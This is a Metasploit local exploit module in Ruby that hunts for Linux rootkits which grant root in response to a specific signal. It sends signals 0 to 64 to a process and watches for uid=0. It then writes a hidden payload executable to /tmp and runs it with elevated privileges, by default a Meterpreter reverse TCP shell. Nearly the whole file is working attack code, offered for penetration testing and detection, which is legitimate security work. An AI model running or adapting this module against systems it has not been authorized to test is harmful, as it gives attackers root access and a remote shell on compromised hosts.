Rootkit Privilege Escalation Signal Hunter

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Deprecated

  moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rootkit Privilege Escalation Signal Hunter',
        'Description' => %q{
          This module searches for rootkits which use signals to elevate
          process privileges to UID 0 (root).

          Some rootkits install signal handlers which listen for specific
          signals to elevate process privileges. This module identifies these
          rootkits by sending signals and observing UID switching to root.

          This module has been tested successfully with:

          Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04
          kernel 6.14.0-33-generic (x64);
          Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04
          kernel 5.19.0-38-generic (x64);
          Codeine 9644336 (2025-09-02) on Ubuntu 22.04
          kernel 5.19.0-38-generic (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => 'bcoles',
        # Diamorphine rootkit first publicly documented use of signals for process privesc?
        'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
        'References' => [
          ['URL', 'https://github.com/bcoles/rootkit-signal-hunter'],
          ['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'],
          ['URL', 'https://github.com/m0nad/Diamorphine'],
          ['URL', 'https://github.com/h3xduck/Umbra'],
          ['URL', 'https://github.com/diego-tella/Codeine'],
          ['URL', 'https://github.com/MatheuZSecurity/Singularity'],
          ['URL', 'https://github.com/Asekon/RootKit'],
        ],
        'Platform' => ['linux'],
        'Arch' => [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_RISCV64LE,
          ARCH_RISCV32LE,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['Auto', {}]],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [
            CRASH_OS_DOWN,    # Poorly designed rootkits may crash
          ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK,
            SCREEN_EFFECTS,   # Killing processes may spawn crash handler windows
          ]
        },
        'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
      OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
      OptString.new('PID', [false, 'Process ID to send signals to (leave blank to spawn a new process)', ''])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def cmd_exec_elevated(signal, cmd, pid)
    vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...")

    # NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
    # due to using "$!" which is not supported
    res = cmd_exec(
      %(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"),
      nil,
      5
    ).to_s
    vprint_line(res) unless res.blank?

    res
  end

  def check
    return CheckCode::Unknown('Session already has root privileges') if is_root?

    # NOTE: this will fail on non-POSIX shells (ie, fish)
    # due to using "$$" which is not supported
    pid = datastore['PID'].downcase.blank? ? '\$$' : datastore['PID']

    # Iterate from MIN to MAX sending each signal to PID.
    #
    # SIGCONT if the process hangs.
    # Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
    # due to using "$!" which is not supported
    cmd = [
      "i=#{datastore['MIN_SIGNAL']}",
      %(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]),
      %(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!),
      'sleep 0.1; kill -CONT "$pid" 2>/dev/null',
      'wait "$pid"',
      'i=$((i + 1))',
      'done 2>/dev/null'
    ].join('; ')

    res = cmd_exec(
      cmd,
      nil,
      60
    )
    vprint_line(res) unless res.blank?

    return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0')

    CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.')
  end

  # @return Array of signals which can be used to elevate privileges to root
  def brute_signals(min, max, pid)
    print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...")
    signals = []

    (min..max).each do |signal|
      signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0')
    end

    signals
  end

  def exploit
    fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root?
    fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL']
    fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)

    pid = datastore['PID'].downcase.blank? ? '$$' : datastore['PID']
    signals = brute_signals(
      datastore['MIN_SIGNAL'],
      datastore['MAX_SIGNAL'],
      pid
    )

    fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank?

    print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).")

    payload_name = ".#{rand_text_alphanumeric(8..12)}"
    payload_path = "#{base_dir}/#{payload_name}"
    payload_data = generate_payload_exe
    print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...")
    write_file(payload_path, payload_data)
    chmod(payload_path, 0o755)
    register_file_for_cleanup(payload_path)

    signals.each do |signal|
      print_status("Trying signal #{signal} ...")
      cmd_exec_elevated(signal, "#{payload_path} & echo ", pid)
      sleep(5)
      break if session_created?
    end
  end
end